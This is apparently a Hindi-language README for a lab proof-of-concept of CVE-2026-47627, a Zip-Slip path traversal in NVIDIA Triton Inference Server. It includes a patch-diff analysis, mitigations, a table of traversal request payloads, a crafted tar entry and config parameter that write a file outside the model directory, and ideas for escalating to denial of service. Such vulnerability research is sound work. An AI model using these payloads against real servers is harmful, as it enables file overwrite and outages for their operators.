
# CVE-2026-47627 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट NVIDIA Triton Inference Server में पाथ ट्रैवर्सल भेद्यता, जो Zip-Slip के माध्यम से मनमानी फ़ाइल लेखन की ओर ले जाती है। विस्तृत विश्लेषण, प्रयोगशाला वातावरण और वन-क्लिक एक्सप्लॉइट स्क्रिप्ट शामिल हैं।
इस रिपॉजिटरी में पूर्ण शोध एवं PoC राइटअप (image
nvcr.io/nvidia/tritonserver:26.05-py3/server v2.69.0)। रिपॉजिटरी को हमेशाexplicitमोड में सेट किया गया है ताकि PoC बिना gRPC के माध्यम से restart किए चल सके।
| फ़ील्ड | मान |
|---|---|
| CVE | CVE-2026-47627 |
| CNA | [email protected] |
| प्रकाशन | 2026-08-18 (NVD Awaiting Analysis) |
| बुलेटिन | NV 5865 → https://github.com/NVIDIA/product-security/tree/main/2026/5865 |
| CVSS 3.1 | 9.8 CRITICAL AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-22 पाथ ट्रैवर्सल |
| प्रभावित | 0.0-26.05 (server v2.69.0 / core r26.05) |
| समाधान | 26.06 (server v2.70.0 / core r26.06) |
| प्रभाव | DoS (CNA विवरण) — यह शोध /models के बाहर फ़ाइल लेखन को Zip-Slip के माध्यम से सिद्ध करता है, जिसे DoS/resource exhaustion तक बढ़ाया जा सकता है |
| क्रेडिट | Martin Brodeur |
ईमानदार टिप्पणी: CNA विवरण केवल
path traversal → DoSहै, बिना विवरण के। यह राइटअपr26.05..r26.06के diff और कंटेनर26.05-py3में प्रत्यक्ष परीक्षण के माध्यम से बग की स्थिति का पुनर्निर्माण करता है।
इमेज: nvcr.io/nvidia/tritonserver:26.05-py3 (TRITON_VERSION 2.69.0)
Compose हमेशा explicit (इस रिपॉजिटरी में पहले से पैच किया गया):
# docker-compose.yml:12
command: ["tritonserver", "--model-repository=/models", "--model-control-mode=explicit", "--log-verbose=0"]
run_triton.bat:10, run_triton.ps1:11, run_triton.sh:12 भी पहले से explicit हैं।
Triton मोड:
NONE (डिफ़ॉल्ट upstream) → स्टार्ट पर एक बार लोड, POST /v2/repository/models/.../load → 503, नया मॉडल लोड करने के लिए restart आवश्यक।POLL → हर सेकंड रिपॉजिटरी स्कैन, ऑटो-लोड, explicit लोड को ब्लॉक करता है।EXPLICIT (यह रिपॉजिटरी) → स्कैन नहीं करता, लेकिन gRPC load_model / POST /load खोलता है → gRPC के माध्यम से बिना restart PoC।पोर्ट:
| 8000 | HTTP REST | v2/health, v2/models, v2/repository |
| 8001 | gRPC | RepositoryModelLoad, ModelInfer |
| 8002 | मेट्रिक्स | Prometheus |
प्रारंभिक मॉडल:
model_repository/
├── echo_python/ (python backend, model.py)
│ └── 1/model.py
└── identity_onnx/ (onnxruntime, model.onnx ~1KB)
Quickstart:
docker compose up -d
docker compose logs -f
py scripts/client_test.py # health + infer identity_onnx
User input (model_name / tar entry) ──► join(parent, child) ──► canonicalize ──► cek "child di dalam parent?" ──► buka file
│ │ │ │ │
└──► "../tmp/pwn" /models + "/../tmp/pwn" = /models/../tmp/pwn → /tmp/pwn rfind vs find + '/' check FileExists / extract
join बिना canonicalize या गलत rfind(parent,0)==0 जाँच (partial-match /models बनाम /models_evil) के हो, तो ../ escape हो सकता है।/dev/zero, /proc/self/mem हो, या tar में ../../ हो जो सिस्टम फ़ाइलों को overwrite करे → hang / OOM / crash।तीन शोध प्रश्न (प्रारंभिक रिपोर्ट से):
RepositoryModelLoad में model_name, EXECUTION_ENV_PATH tar entry, file: override, TRITON_BATCH_STRATEGY_PATH।posixpath.join(repo, model_name) / temp_dir + "/" + file_name + IsChildPathEscapingParentPath।DoS। इस रिपॉजिटरी में /tmp/poc_marker पर फ़ाइल लेखन सिद्ध किया गया है।रिपॉजिटरी core (r26.05..r26.06):
src/filesystem/api.cc:407 IsChildPathEscapingParentPath — fix dcb315d + 72f3d9b:
// VULN (r26.05):
absolute_child.rfind(absolute_parent,0) != 0
// → bug partial-match: "/models" prefix dari "/models_evil/file" dianggap inside
// FIXED (r26.06):
canonical_child.find(canonical_parent,0)==0 &&
((child.size() > parent.size() && child[parent.size()]=='/') || child.size()==parent.size())
// → harus '/' setelah prefix, "/models_evil" sekarang correctly outside
src/backend_model.cc:196 (TRITON_BATCH_STRATEGY_PATH) और src/model_repository_manager/model_repository_manager.cc:162 (file:) में उपयोग किया गया।
src/model_repository_manager/model_repository_manager.cc:62 ValidateModelName — core#472/#481 (मार्च 2026, 26.05 में पहले से मौजूद लेकिन 26.06 में कड़ा किया गया):
if (trimmed==".." || trimmed.find('/')!=npos) return INVALID_ARG "must not contain path traversal"
यही कारण है कि 26.05 में gRPC load_model('../tmp/pwn') → 400 INVALID_ARGUMENT (पहले से ब्लॉक)। लेकिन %2f (encoded /) लिटरल / न होने के कारण पास हो जाता है → 500 poll literal।
python_be.cc:292 EXECUTION_ENV_PATH — e520f8c7 test zipslip_test.py:
Tar बिना .. / absolute जाँच के extract किया जाता है। /models/poc_exploit/malicious_env.tar.gz से entry ../../poc_marker को /tmp/poc_marker (मॉडल डायरेक्टरी के बाहर) में extract किया जाता है। 26.06 में fix: ARCHIVE_EXTRACT_SECURE_NODOTDOT|NOABSOLUTEPATHS + IsChildPathEscapingParentPath जाँच।
रिपॉजिटरी server (r26.05..r26.06): केवल sagemaker_server.cc:1027 (RE2::FullMatch check) + http_server.cc:2440 (atoi→stoi), इस CVE के पथ से संबंधित नहीं।
निष्कर्ष: HTTP/gRPC के माध्यम से model_name पथ 26.05 में ValidateModelName द्वारा पहले से ब्लॉक है, लेकिन Zip-Slip tar अभी भी ब्लॉक नहीं है — यही इस रिपॉजिटरी के PoC द्वारा एक्सप्लॉइट किया गया है।
| वेक्टर | पेलोड | 26.05 परिणाम | प्रभावित? |
|---|---|---|---|
HTTP raw ../ | POST /v2/repository/models/../tmp/pwn/load | 404 (routing normalize) | ❌ |
HTTP encoded ..%2f | POST /v2/repository/models/..%2ftmp%2fpwn/load | 500 literal, poll /models/..%2ftmp%2fpwn मौजूद नहीं | ❌ (500 fake, ट्रैवर्सल नहीं) |
gRPC raw ../tmp/pwn | load_model('../tmp/pwn') | 400 INVALID_ARGUMENT | ❌ (पहले से ब्लॉक) |
gRPC encoded ..%2f | load_model('..%2ftmp%2fpwn') | 500 poll literal | ❌ |
file: override ../models_evil | file:../models_evil/pwn | 400/500 partial-match पर निर्भर | ⚠️ (IsChildPathEscapingParentPath bug पर निर्भर, लेकिन model_name के लिए ValidateModelName द्वारा पहले से ब्लॉक) |
EXECUTION_ENV_PATH tar ../../poc_marker | malicious_env.tar.gz entry ../../poc_marker | 200 + /tmp/poc_marker पर फ़ाइल | ✅ VULN |
पुराने राइटअप में
500 vs 400की उपमा गलत थी:500= फ़ाइल मौजूद नहीं (दरवाज़ा नहीं है),400= वैलिडेशन द्वारा अस्वीकृत (दरवाज़ा बंद है)। दोनों में प्रवेश नहीं होता। केवल200+/tmpमें फ़ाइल ही प्रमाण है।
विचार: Python backend पैरामीटर EXECUTION_ENV_PATH $$TRITON_MODEL_DIRECTORY/malicious_env.tar.gz की ओर इशारा करता है। जब load_model('poc_exploit') होता है, backend pb_env.cc:292 बिना sanitization के tar extract करता है। Entry ../../poc_marker .../poc_exploit/ से /tmp/poc_marker तक escape हो जाती है।
PoC चरण (scripts/exploit.py:28 और exploit.ps1:20 में स्वचालित):
echo_python → poc_exploit कॉपी करें (scripts/exploit.py:35)config.pbtxt जोड़ें (scripts/exploit.py:40):
parameters: {key: "EXECUTION_ENV_PATH", value: {string_value: "$$TRITON_MODEL_DIRECTORY/malicious_env.tar.gz"}}
scripts/exploit.py:44):
TarInfo(name='../../poc_marker', size=6, mode=0o644) # → /tmp/poc_marker
TarInfo(name='bin/activate', mode=0o755)
gRPC load_model('poc_exploit') ट्रिगर करें (scripts/exploit.py:60) — explicit होने के कारण बिना restart।docker exec tritonserver-test cat /tmp/poc_marker → pwned (scripts/exploit.py:81)पूर्वापेक्षाएँ: Docker, image 26.05-py3 पहले से docker compose up -d (रिपॉजिटरी पहले से explicit)।
Python (बिना restart, gRPC के माध्यम से):
py scripts/exploit.py # auto-detect explicit → gRPC
py scripts/exploit.py --keep # मैन्युअल जाँच के लिए artifact रखें
# मैन्युअल जाँच: docker exec tritonserver-test cat /tmp/poc_marker
# मैन्युअल सफाई: docker exec tritonserver-test rm -f /tmp/poc_marker
PowerShell:
powershell -ExecutionPolicy Bypass -File exploit.ps1
powershell -ExecutionPolicy Bypass -File exploit.ps1 -Keep
MODE_NONE पर वापस लौटें (यदि डिफ़ॉल्ट upstream चाहिए):
# docker-compose.yml:12 संपादित करें --model-control-mode=explicit हटाएं
docker compose up -d --force-recreate
ब्लॉक परीक्षण (200 नहीं, 400/404/500 होना चाहिए):
py scripts/test_http_grpc_blocked.py # पुरानी रिपॉजिटरी में था, अब हटा दिया गया — exploit.py log का उपयोग करें
# या मैन्युअल:
curl -i -X POST http://127.0.0.1:8000/v2/repository/models/..%2ftmp%2fpwn/load -H "Content-Type: application/json" -d "{}" # 500
py -3 -c "import tritonclient.grpc as g; g.InferenceServerClient('127.0.0.1:8001').load_model('../tmp/pwn')" # 400
कमजोर (26.05) — exploit.py आउटपुट:
[*] Triggering exploit via gRPC load (no restart)...
[+] gRPC load sent
[+] VULNERABLE: /tmp/poc_marker exists outside /models
cat: pwned
[+] Exploit succeeded — file write outside repository confirmed
सत्यापन:
docker exec tritonserver-test ls -l /tmp/poc_marker # -rw-r--r-- 1 root root 6 ... /tmp/poc_marker
docker exec tritonserver-test cat /tmp/poc_marker # pwned
docker logs tritonserver-test --tail 20 | grep Extracting # Extracting Python execution env .../malicious_env.tar.gz
पैच किया गया (26.06) — अपेक्षित:
[-] Not vulnerable: /tmp/poc_marker not found
# log: Path contains '..' (या Path is absolute)
HTTP/gRPC .. 500 नहीं, 400 होना चाहिए:
# 26.05 gRPC raw ../ → 400 INVALID_ARGUMENT (ValidateModelName द्वारा पहले से ब्लॉक)
# 26.05 gRPC ..%2f → 500 poll literal (वैलिडेशन बायपास लेकिन वास्तविक ट्रैवर्सल नहीं)
# 26.06 दोनों → 400
CNA DoS लिखता है, लेकिन यह Zip-Slip फ़ाइल overwrite कर सकता है → DoS:
model.py / config.pbtxt को overwrite करें → मॉडल लोड विफल → 503bin/activate / FIFO /tmp/fifo वाला tar → pb_env.cc थ्रेड hang → UNAVAILABLE../../dev/zero (अनंत) वाले tar के साथ load_model फ्लड → OOMयह रिपॉजिटरी ट्रैवर्सल के प्रमाण के रूप में फ़ाइल लेखन पर केंद्रित है; DoS को अनंत लूप वाले 1/model.py वाले tar के साथ बढ़ाया जा सकता है।
26.06 (server v2.70.0, core r26.06) — IsChildPathEscapingParentPath + ARCHIVE_EXTRACT_SECURE_NODOTDOT।8000/8001 को इंटरनेट पर expose न करें (reverse proxy + auth)EXECUTION_ENV_PATH में .. और %2f ब्लॉक करेंEXECUTION_ENV_PATH अक्षम करेंdocker logs tritonserver-test | grep "Path contains\|failed to poll.*%2f".
├── model_repository/
│ ├── echo_python/ # python backend sample
│ └── identity_onnx/ # onnxruntime sample
├── scripts/
│ ├── exploit.py:1 # मुख्य PoC (Python, oneclick, gRPC, no restart)
│ ├── generate_model.py # identity_onnx पुनर्जनन
│ └── client_test.py # health + infer परीक्षण
├── exploit.ps1:1 # मुख्य PoC (PowerShell, oneclick)
├── docker-compose.yml:12 # हमेशा explicit
├── run_triton.bat:10 / .ps1:11 / .sh:12 # हमेशा explicit
├── requirements.txt # numpy, onnx, requests, tritonclient[http,grpc], grpcio, protobuf
└── README.md # यह राइटअप
हटाए गए: exploit_cve_*.py, poc_zipslip_simple.py, check_mode.py, test_http_grpc_blocked.py, cleanup_poc.py, test_poc.ps1, null, model_repository/zipslip_*, /tmp/poc_marker।
https://github.com/NVIDIA/product-security/tree/main/2026/5865 (5865.md, CVE-2026-47627.json)https://nvd.nist.gov/vuln/detail/CVE-2026-47627 (Awaiting Analysis)dcb315d (Modernize Child Path), 72f3d9b (child path test), e520f8c7 (zipslip test), 50830ba/66f09f8 (ValidateModelName)v2.70.0 (690f9dd)| तारीख | घटना |
|---|---|
| 2026-03-03 | core#472 ValidateModelName |
| 2026-03-16 | core#481 POSIX trim |
| 2026-05-18 | core#497 IsChildPathEscapingParentPath |
| 2026-06-02 | server#8857 zipslip test |
| 2026-06-26 | 26.06 / v2.70.0 पैच रिलीज़ |
| 2026-08-18 | CVE प्रकाशन |
| 2026-09-02 | इस रिपॉजिटरी का PoC 26.05-py3 में सत्यापित → VULNERABLE |
यह PoC शिक्षा और बंद लैब के लिए है। बिना auth के 8000/8001 expose न करें। डेमो के बाद हमेशा exploit.py --keep चलाएं, फिर docker exec tritonserver-test rm -f /tmp/poc_marker और Remove-Item -Recurse model_repository/poc_exploit करें।